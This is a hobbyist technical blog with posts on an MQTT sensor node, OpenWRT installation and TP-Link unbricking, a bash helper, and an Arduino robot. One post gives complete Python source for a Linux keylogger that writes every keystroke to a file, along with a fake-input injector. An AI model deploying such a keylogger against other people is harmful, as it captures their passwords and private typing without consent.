úterý 28. července 2015

Simple MQTT node

In the previous article I described a basic idea of building my network of interconnected devices. In next few articles I'll describe building of very simple sensor with network interface, which can send data using MQTT protocol.

Node requirements:

  • Use well known Arduino hardware
  • Software written in plain C
  • Cheap components
  • Scalable design
  • Easy to use

MCU

Because I don't want to create my own board, I have to use some existing one. For that reason I decided to use well known Arduino Nano board with atmega328p MCU. I have lot of these in my shelf. This MCU has 32KBytes of flash storage for code, 1KByte of EEPROM as non-volatile storage and 2KBytes of RAM.

I have plan to use Arduino Pro Mini for final product. It costs about 2.50 USD on ebay.

Another advantage of using Arduino hardware is lot of existing code for it. I can easily connect some components, upload existing sketch and check, if my wiring is correct. After verifying that hardware is connected properly, I could start writing my own software. This safes me lot of work by finding bugs in both hardware and software.

Software

Although I'm using Arduino hardware, I'm not using any Arduino software. I decided to implement all software logic in plain C instead.

I thing that Arduino is really great for learning of programming microcomputers or to make quick proof of concept sketch. But its code is quite messy, not efficient and it limits many hardware possibilities. So for making some serious project it is insufficient.

Use of plain C has many advantages. You have complete control about memory usage and its optimization, interrupts, timers, power consumption and other things. You have to also create Makefile, which brings another control in code configuration, compilation and optimization.

Ethernet controller

There are two common Ethernet controller chips. WIZnet w5100 and Microchip enc28j60. W5100 is chip used in official Arduino Ethernet Shield. It has its own TCP/IP stack implemented in hardware and it is well supported by community. But it is twice as expensive as the enc28j60 chip. Because I want to make many of these devices, price is crucial. I had already some enc28j60 modules in my shelf.

Using enc28j60 chip requires more work in software. It requires to implement own TCP/IP stack in software layer. But it seems that this work is already done by someone else.

Sensors

For development purposes I decided to make a node only with DHT-22 (also known as AM2302) sensor. This sensor can measure relative humidity and temperature in 2s time period. DHT-22 is more expensive variant of DHT-11, which has very limited accuracy and measurement range.

I used this sensor mainly for development. Final software should be capable to use any other sensor or device.

Wiring

Finally, wiring of my prototype looks like this.

Next time I'll describe node software and building MQTT brokers.

úterý 16. června 2015

New project – IoT mesh

Recently I started my new project with Internet of Things. My idea is to create mesh of sensors or some other devices connected to each other over the network. These devices should include some common sensors for monitoring temperature, humidity, barometric pressure, light and others. There also should be some logging devices for creating graphs from received data or monitoring network functionality. And finally I want to create some devices controlled over this network, like IoT enabled window blinds.

My basic design goals are:

  • Reduce cost as possible
  • World wide access
  • Secure
  • Reliable
  • Easy to use
  • Keep it simple
  • 100% open source

MQTT

Basic building block for creating network of interconnected devices is communication protocol. There is already excellent protocol designed for IoT called MQTT, which meet all my requirements. It is designed to connect client devices over central server using publish/subscribe scheme. That means that every device send publish data into network tagged with topic. Other devices interested in some topic can subscribe to it and receive those data.

Central server is called broker. It is responsible for collecting messages from publishers and delivering them to subscribers. Broker can be also bridged to another broker. There is already open source implementation of MQTT broker mosquitto.

World wide access

Mosqiutto normally communicates in plaintext over TCP connection. It also can be configured to use SSL layer for encrypted data exchange. However, cheap sensors have not enough resources to use encrypted communication.

This problem seems to be solved by dedicating small MQTT broker in LAN secured by firewall and placed behind NAT. Clients in this LAN communicates with broker in plaintext. This broker then will be bridged to some central broker on the public Internet over SSL making secure connection. Whole network then should looks like this.

That's basic idea of my IoT network. Next time we will look at building simple MQTT device.

středa 7. ledna 2015

Find command by pattern

It often happens to me, that I want to use a command, but I don't know its full name. Bash completion is good helper, but I have to know first characters of that command. But in some cases I don't.

For example, when I got a .7z archive. Command for extract it should contain “zip” but it doesn't start with it. After some trials and errors with bash completion, I usually have to google it. Right command is “p7zip”.

Luckily, you can use bash to find it out.

buben@debian:~$ find $(echo $PATH | tr : ' ') -name "*zip*" -exec basename {} \; | sort | uniq
bunzip2
bzip2
bzip2recover
funzip
gpg-zip
gunzip
gzip
p7zip
preunzip
prezip
prezip-bin
unzip
unzipsfx
zip
zipcloak
zipgrep
zipinfo
zipnote
zipsplit

At first, command takes $PATH variable and replaces all path separators (colon) with single space. Result is passed to find command as list of arguments. It uses -name option to match pattern and for each match is executed basename command. Basename simply strips down full path and leaves only name of command. Finally result is sorted and removed duplicates.

For convenient use, this command can be wrapped in simple function and placed in ~/.bashrc file:

function apattern() {
    find $(echo $PATH | tr : ' ') -name "*${1}*" -exec basename {} \; | sort | uniq
}

For take an effect, you have to open new terminal or issue following command:

buben@debian:~$ source ~/.bashrc

After that, you can use this function like any other command.

čtvrtek 2. října 2014

TP-Link recovery

Flashing routers with custom firmware if fun. Especially a firmware compiled by yourself. But it may occur that things goes wrong and you will brick you router. If you have untouched a bootloader, unbricking process is really easy.

This article is about unbricking routers with working bootloader, in this case a TP-Link TL-WR703N which is using U-Boot. If your router has other bootloader, following procedure probably will not work.

For recovery you must have access to device serial console. I'm using a Debian machine.

Get information about your memory

To safely brick your device, you have to perform some terrain reconnaissance. You have to know how flash memory of your router looks like and which blocks can be rewritten without causing serious damage to device functionality.

Flash memory is divided into parts like hard drive is partitioned in traditional computers. But in this case, we are not dealing with hard drive and real partitions, but with mtd and named memory offsets instead. That means that these “partitions” doesn't contains any meta data about them, can overlap each other and also writing operations can overrun their boundaries.

Let's look how many partitions are there and how long they are.

root@OpenWrt:/# cat /proc/mtd 
dev:    size   erasesize  name 
mtd0: 00020000 00010000 "u-boot" 
mtd1: 00102050 00010000 "kernel" 
mtd2: 002cdfb0 00010000 "rootfs" 
mtd3: 000c0000 00010000 "rootfs_data" 
mtd4: 00010000 00010000 "art" 
mtd5: 003d0000 00010000 "firmware"

Ok, there are six partitions. Surely at the zero offset starts “u-boot” partition, because this one contains bootloader, which is executed at first, when device is turned on. With the rest we can only guess for now, where they are placed.

You can get more complete view, how they are arranged by checking boot log.

root@OpenWrt:/# dmesg

This command spits out lot of output, but we are looking for something like this.

[    0.490000] 5 tp-link partitions found on MTD device spi0.0 
[    0.490000] Creating 5 MTD partitions on "spi0.0":
[    0.500000] 0x000000000000-0x000000020000 : "u-boot" 
[    0.510000] 0x000000020000-0x000000122050 : "kernel" 
[    0.520000] 0x000000122050-0x0000003f0000 : "rootfs" 
[    0.550000] 0x000000330000-0x0000003f0000 : "rootfs_data" 
[    0.560000] 0x0000003f0000-0x000000400000 : "art" 
[    0.560000] 0x000000020000-0x0000003f0000 : "firmware" 

Nice, now we have exact position of each individual region, so we can set up complete view.

Regions which have to be untouched are u-boot and art. There contains critical data to keep device working. Firmware partition between them can be rewritten as you like.

Make a brick

First step is bricking a device. You probably will not do that intentionally but it can happen. For example by flashing a file, which you shouldn't.

root@OpenWrt:/# cd /tmp
root@OpenWrt:/tmp# wget http://192.168.1.1/openwrt-ar71xx-generic-root.squashfs
root@OpenWrt:/tmp# mtd -r write openwrt-ar71xx-generic-root.squashfs firmware

Yes, this is how I bricked my TP-Link. I build image which was too large and therefore factory.bin file doesn't appear in my bin directory. I didn't realized that problem, so I tried another file and it of course didn't work.

openwrt-ar71xx-generic-root.squashfs is only file with filesystem. It is really not good idea to flash it at the firmware offset. If you want to browse its content, you can install squashfs-tools package and extract it.

buben@debian:~$ unsquashfs openwrt-ar71xx-generic-root.squashfs
buben@debian:~$ ls squashfs-root/ 
bin  dev  etc  lib  mnt  overlay  proc  rom  root  sbin  sys  tmp  usr  var  www

Issued command mtd above rewrites only mtd5 partition, where firmware is located, so mtd0 with bootloader leave untouched and fully working.

There is one big catch. If you write bigger file than 3904 KiB, you will rewrite also mtd4. In this location it stored calibration data for your wireless hardware and it is device specific. If you don't have backup of art for restore, your router can't use WiFi anymore.

Principe

In normal conditions, when device is turned on, first what is executed is a bootloader. Bootloader perform some hardware check, known as POST, copies kernel into RAM and executes it. When firmware is broken, router restart itself and these things are repeated in infinite loop.

Some bootloaders, such as U-Boot, have implemented rescue mechanisms, for example loading new firmware using TFTP.

Install TFTP server

For installing TFTP server in Debian machine, issue following command.

buben@debian:~$ sudo apt-get install tftpd-hpa

For security reasons, I recommend you to disable automatic starting of the server during the boot time. It is aways good idea to use some service only when you need it and not keep it running for all the time.

buben@debian:~$ sudo update-rc.d -f tftpd-hpa remove

Now all init scripts for tftpd-hpa are removed, but service is still running. You can test it by following command

buben@debian:~$ sudo service tftpd-hpa status 
[ ok ] in.tftpd is running.

Serial console

As I mentioned at the beginning, you need working serial console. My favorite program is minicom.

buben@debian:~$ sudo apt-get install minicom

To use it as a regular user, you have to be in dialout group.

buben@debian:~$ sudo usermod -a -G dialout buben

After that command you have to relog your account to take the effect.

After that you can connect to device.

buben@debian:~$ minicom -D /dev/ttyUSB0 -b 115200

On my bricked router, I have got the following output repeating over and over.

U-Boot 1.1.4 (Mar 18 2013 - 17:36:20) 

AP121 (ar9330) U-boot 

DRAM:  32 MB 
led turning on for 1s... 
id read 0x100000ff 
flash size 4194304, sector count = 64 
Flash:  4 MB 
Using default environment 

In:    serial 
Out:   serial 
Err:   serial 
Net:   ag7240_enet_initialize... 
No valid address in Flash. Using fixed address 
No valid address in Flash. Using fixed address 
: cfg1 0x5 cfg2 0x7114 
eth0: 00:03:7f:09:0b:ad 
ag7240_phy_setup 
eth0 up 
: cfg1 0xf cfg2 0x7214 
eth1: 00:03:7f:09:0b:ad 
athrs26_reg_init_lan 
ATHRS26: resetting s26 
ATHRS26: s26 reset done 
ag7240_phy_setup 
eth1 up 
eth0, eth1 
Autobooting in 1 seconds 
## Booting image at 9f020000 ... 
   Uncompressing Kernel Image ... Too big uncompressed streamLZMA ERROR 1 - must RESET

Uploading new firmware

At first, copy your working firmware file into tftpd directory.

buben@debian:~$ sudo cp openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin /srv/tftp/firmware

Link your computer with the router using ethernet cable and turn it on. U-Boot can be configured for another remote address where it expects TFTP server, default address is 192.168.1.100.

buben@debian:~$ sudo ifconfig eth0 192.168.1.100

Power on your router and type “tpl” into serial console during boot. You should get rescue hornet prompt.

hornet>
hornet> help 
?       - alias for 'help' 
bootm   - boot application image from memory 
cp      - memory copy 
erase   - erase FLASH memory 
help    - print online help 
md      - memory display 
mm      - memory modify (auto-incrementing) 
mtest   - simple RAM test 
mw      - memory write (fill) 
nm      - memory modify (constant address) 
printenv- print environment variables 
progmac - Set ethernet MAC addresses 
reset   - Perform RESET of the CPU 
setenv  - set environment variables 
tftpboot- boot image via network using TFTP protocol 
version - print monitor version

Now we are ready to upload new image into the device.

Following command contains memory offsets which I leave unexplained for now. These are basically addresses into memory and they are platform dependent (TL-WR703N uses MIPS architecture processor).

Download image file from remote server.

hornet> tftpboot 0x81000000 firmware 
dup 1 speed 1000 
Using eth1 device 
TFTP from server 192.168.1.100; our IP address is 192.168.1.111 
Filename 'firmware'. 
Load address: 0x81000000 
Loading: ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ################################################################# 
         ###################################################### 
done 
Bytes transferred = 3932160 (3c0000 hex)

Then erase memory where firmware will be stored.

hornet> erase 0x9f020000 +0x3c0000 

First 0x2 last 0x3d sector size 0x10000 
  61 
Erased 60 sectors

Copy firmware into cleaned memory. Notice “cp.b” command. Cp takes three arguments, first is source memory offset, second is destination offset and third one is count of units. By default, cp takes one unit of long word (32 bits), cp.b is a byte version of copy. Tftpboot command above tells us, that 3932160 bytes were transferred (3c0000 in hex), so let's copy them into flash memory.

hornet> cp.b 0x81000000 0x9f020000 0x3c0000 
Copy to Flash... write addr: 9f020000 
done

Now you can restart the router or boot system by following command.

hornet> bootm 9f020000

Now your router should work again.

At the end, remember to stop TFTP server.

buben@debian:~$ sudo service tftpd-hpa stop

středa 23. října 2013

Installing OpenWRT on TP-Link router

It is some time, when I started experimenting with OpenWRT - an operating system for routers. It starts as a school project, when I had to write an article about operating systems for embedded devices.

OpenWRT is Linux based operating system. It is completely open source with a large community. Also it has huge list of supported devices. You can find more information on the official page.

Hardware

OpenWRT supports lot of procesor architectures, so it can run basically on anything. Except few devices which has not enough resources, such as flash storage or RAM.

I chose very popular TP-LINK TL-WR703N. It is very small and cost about 22 USD. It has 4 MB of flash, 32 MB RAM and MIPS architecture CPU at 400 MHz. It also supports 802.11n wireless standard and has one USB host port.

Serial console

If you are working with some embedded device, it is always good idea to have serial console. It is very handy for its management and configuration and really necessary for device rescue, if something goes wrong.

Every TP-Link router what I met has nice unpopulated PCB header with UART, providing serial console. But because this router is really small, it has only little pads with RX and TX (labeled TP_IN and TP_OUT).

You can find lot of tutorials on the Internet about accessing serial console. But basically each of them requires making holes into PCB for soldering pins or some other invasive method. I solved this by gluing 3-pin header with a hot glue on the back side of the Ethernet connector. Then I just connected RX and TX wires and third wire to the ground.

Identify a target

If your device is listed in supported devices, look at the device target. In case of TL-WR703N, target is ar71xx. If you are not sure about right target of your device, please look at this table. Target is based on the router chipset, not only on the processor's architecture. But let's suppose that you have device supported by OpenWRT.

Filesystem

Next you have to decide, which filesystem you want. There are two basic options.

  • JFFS2 – writable compressed filesysem. It supports wear leveling and journaling. Compressed with LZMA compression.
  • SquashFS – read-only filesystem compressed with LZMA. It is used in conjunction with overlayfs. In the result, there are two filesystems merged into one. This mechanism is called UnionFS. Lower one is read-only SquashFS and upper one is writable JFFS2.

I prefer two layered filesystem. It's writable and any changes can be easily restored into default state by erasing upper layer.

Please note, that SquashFS shouldn't be used on the NAND flash storage. If your router has NAND flash, you have to use another filesystem.

Installation

After determining correct target and identifying your needs, installation is really simple. Fist download image file. In my case it is http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

On most devices (and TL-WR703N isn't exception) you simply can access web interface and upload firmware image into appropriate upgrade form.

First of all, you have to connect to the router. I prefer wired connections. Most devices are configured with some reasonable address. You can read manual or simply guess it.

buben@debian:~$ sudo ifconfig eth0 192.168.1.10
buben@debian:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 
64 bytes from 192.168.1.1: icmp_req=1 ttl=255 time=1.48 ms 
64 bytes from 192.168.1.1: icmp_req=2 ttl=255 time=3.09 ms 
64 bytes from 192.168.1.1: icmp_req=3 ttl=255 time=1.40 ms 
64 bytes from 192.168.1.1: icmp_req=4 ttl=255 time=2.02 ms

In my case, I had to use crossover cable. If you can't ping a device, make sure that this is not an issue.

I bought my TP-Link on ebay and it came with Chinese localization. I didn't have character sets installed for displaying page correctly. But it is not hard to find firmware upload form, even if I can't read basicaly anything.

Main menu in on the left side. The last item should be system management. After clicking on it, another sub-menu appears.

Menu items are nothing more than links. If you move a mouse on the link, most browsers will show you its location. Third menu item should be, what I'm looking for (mouse cursor isn't captured on the screenshot).

Before you upload an image file to the form, it's not bad idea to rename it to some short name. Also the file should have .bin suffix. In my case a file name length have to be up to 64 characters long and .bin suffix is also required.

buben@debian:~$ mv openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin openwrt.bin

Next select image file and submit it.

Firmware upgrade is most critical step in this process. Don't unplug a power source for your router. If you will do so, you will brick it. Brick can be restored, but I have no experience with that.

After successful flashing, you can access a serial console a see nice welcome message.

BusyBox v1.19.4 (2013-03-14 11:28:31 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 ATTITUDE ADJUSTMENT (12.09, r36088)
 -----------------------------------------------------
  * 1/4 oz Vodka      Pour all ingredients into mixing
  * 1/4 oz Gin        tin with ice, strain into glass.
  * 1/4 oz Amaretto
  * 1/4 oz Triple sec
  * 1/4 oz Peach schnapps
  * 1/4 oz Sour mix
  * 1 splash Cranberry juice
 -----------------------------------------------------
root@OpenWrt:/#

čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

středa 2. října 2013

Remote controlled robot

Reason, why I developed my little input library were that I wanted remotely control robots and other things with a computer. My idea was sending commands via serial line to the one Arduino and transmit them wirelessly into another. Twistedinput was designed as layer between input device and serial output.

I decided for Twisted framework because I very like it and because I can make very complex things with it. For example control robots over the Internet. Maybe build something like this :)

Wireless module

I'm using a cheap radio module from ebay. It is base on nRF24L01 chip. If you are interested in arduino, you are probably already familiar with it.

There is very nice library for this module called RF24. You can google out many tutorials and lot of other useful stuff for it.

Wireless transmitter

For sending commands into robot, I designed its own communication protocol. It is based on very similar data structure as input_event from linux/input.h header file.

Although transmitter has defined this structure, it doesn't actually use it. It only needs to know, how long this structure is. That's because it reads data from serial line byte by byte. When it receives all bytes needed for building one event structure, it sends them out.

Transmitter code

#include <SPI.h>
#include "RF24.h"

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// buffer for received data
char eventBuffer[sizeof(struct event)];
int bufferIndex;

RF24 radio(9, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

/**
 * routine for sending events
 */
void sendEvent(struct event * event) {
  radio.stopListening();
  
  // send event to robot
  radio.write(event, sizeof(struct event));
  
  radio.startListening();
}

void setup() {
  Serial.begin(19200);
  
  bufferIndex = 0;
  
  radio.begin();
  radio.setRetries(15, 15) ;
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[0]);
  radio.openReadingPipe(1,pipes[1]);
  
  radio.startListening();
}

void loop() {
  if(Serial.available() > 0) {
    Serial.readBytes(eventBuffer + bufferIndex, 1);
    bufferIndex++;
    if(!(bufferIndex < sizeof(struct event))) {
      bufferIndex = 0;
      sendEvent((struct event *)eventBuffer);
    }
  }
}

Wireless receiver

Receiver is my robot. It doesn't reads data byte by byte, it receives complete event structure instead. After that it needs to handle it.

Handling algorithm is little bit odd. I wanted to calculate, which pins should be LOW an which should by HIGH. This solution can do this but it isn't ideal way I thing.

The code is splitted into two parts. Header file with defines and second file with code. In the Arduino IDE you can create second file by clicking at small triangle on the right side, just below serial monitor button.

robot.h header file:

// define some commands
#define EV_MOVE         0x01

#define MOVE_FORWARD    0x01
#define MOVE_BACKWARD   0x02
#define MOVE_STOP       0x03
#define MOVE_LEFT       0x04
#define MOVE_RIGHT      0x05
#define MOVE_STRAIGHT   0x06

#define MOTOR_PIN_COUNT          4
#define LEFT_WHEEL_FORWARD       6
#define RIGHT_WHEEL_FORWARD      3
#define LEFT_WHEEL_BACKWARD      9
#define RIGHT_WHEEL_BACKWARD     5

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// define moving states
enum Move {
  E_MOVE_STOP,
  E_MOVE_FORWARD,
  E_MOVE_BACKWARD
};

enum Turn {
  E_TURN_STRAIGHT,
  E_TURN_LEFT,
  E_TURN_RIGHT
};

// function prototypes
unsigned char getMoveMask(Move eMove);
unsigned char getTurnMask(Turn eTurn);
unsigned char getPinMask(Move eMove, Turn eTurn);
void update();
void doMove(struct event * event);
void handleEvent(struct event * event);
struct event * bytesToEvent(char * buffer);

robot code:

#include <SPI.h>
#include "RF24.h"
#include "nRF24L01.h"
#include "robot.h"

// buffer for received data
char eventBuffer[sizeof(struct event)];

RF24 radio(8, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

// store current move direction
Move currentMove;
Turn currentTurn;

// store current pin mask for motors
unsigned char currentPinMask;

int motorPins[] = {
  RIGHT_WHEEL_BACKWARD,
  RIGHT_WHEEL_FORWARD,
  LEFT_WHEEL_BACKWARD,
  LEFT_WHEEL_FORWARD
};

/**
 * get mask for move
 */
unsigned char getMoveMask(Move eMove) {
  switch(eMove) {
    case E_MOVE_STOP:      return B0000; break;
    case E_MOVE_FORWARD:   return B1010; break;
    case E_MOVE_BACKWARD:  return B0101; break;
  }
}

/**
 * get mask for turn
 */
unsigned char getTurnMask(Turn eTurn) {
  switch(eTurn) {
    case E_TURN_STRAIGHT:  return B0000; break;
    case E_TURN_LEFT:      return B0110; break;
    case E_TURN_RIGHT:     return B1001; break;
  }
}

unsigned char getPinMask(Move eMove, Turn eTurn) {
  unsigned char moveMask = getMoveMask(eMove);
  unsigned char turnMask = getTurnMask(eTurn);
  if((moveMask == 0) || (turnMask == 0)) {
    return moveMask | turnMask;
  }
  if(eMove == E_MOVE_BACKWARD) {
    turnMask = ~turnMask;
  }
  return moveMask & turnMask;
}

/**
 * update motor pins
 */
void update() {
  int i;
  unsigned char pinMask = getPinMask(currentMove, currentTurn);
  
  // create differential pin mask by xoring current mask and new mask
  // differential mask is used for handling only those pins, which really needs
  // to change its state
  unsigned char differentialPinMask = currentPinMask ^ pinMask;
  
  // handle pins which needs to be set LOW at first
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) == 0)) {
      digitalWrite(motorPins[i], LOW);
    } 
  }
  
  // handle pins which needs to be set HIGH
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) != 0)) {
      digitalWrite(motorPins[i], HIGH);
    } 
  }
  
  // assign new mask
  currentPinMask = pinMask;
}

void doMove(struct event * event) {
  switch(event->code) {
    case MOVE_FORWARD:   currentMove = E_MOVE_FORWARD;     break;
    case MOVE_BACKWARD:  currentMove = E_MOVE_BACKWARD;    break;
    case MOVE_STOP:      currentMove = E_MOVE_STOP;        break;
    case MOVE_LEFT:      currentTurn = E_TURN_LEFT;        break;
    case MOVE_RIGHT:     currentTurn = E_TURN_RIGHT;       break;
    case MOVE_STRAIGHT:  currentTurn = E_TURN_STRAIGHT;    break;
  }
  update();
}

void handleEvent(struct event * event) {
  switch(event->type) {
    case EV_MOVE:        doMove(event);               break;
  }
}

/**
 * convert big-endian bytes pointed by buffer into
 * native endian event structure
 */
struct event * bytesToEvent(char * buffer) {
  short val = *(short *)(((void *)buffer) + (2 * sizeof(unsigned char)));
  *((short *)(((void *)buffer) + (2 * sizeof(unsigned char)))) = (val << 8) | ((val >> 8) & 0xff);
  return (struct event *)buffer;
}

void setup() {
  
  // debug only
  Serial.begin(19200);
  
  // set motor pins to OUTPUT
  int i;
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    pinMode(motorPins[i], OUTPUT);
  }
  
  // initialize pin mask
  currentPinMask = 0x0;
  
  // initialize current move direction
  currentMove = E_MOVE_STOP;
  currentTurn = E_TURN_STRAIGHT;
  
  radio.begin();
  radio.setRetries(15, 15);
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[1]);
  radio.openReadingPipe(1,pipes[0]);
  
  radio.startListening();
}

void loop() {
  if(radio.available() > 0) {
    bool done = false;
    while(! done) {
      done = radio.read(eventBuffer, sizeof(struct event));
    }
    handleEvent(bytesToEvent(eventBuffer));
  }
}

Endianness

Endianness is a way of storing data types, which are more than one byte long. If you are not familiar with it, please read wikipedia.

It's known convention, that all data send across network should be encoded in big-endian byte order. For that reason my robot actually doesn't receive event structure. It receive some bytes which needs to be encoded into right order. This is what bytesToEvent routine do. Unfortunately, I don't now about some elegant solution, my implementation is little bit dirty. If Arduino were based on some big-endian architecture, this routine will return an event structure in wrong byte order.

Controlling with computer

Finally we need last piece of software, which runs on the computer. A computer acts like interface between transmitting Arduino and in input device. But it can do more things. It can save all events into file and reproduce them later or it can be some kind of autopilot. This software hasn't send data into transmitter directly, but over computer network. What ever you want.

You can download my radiocontrol script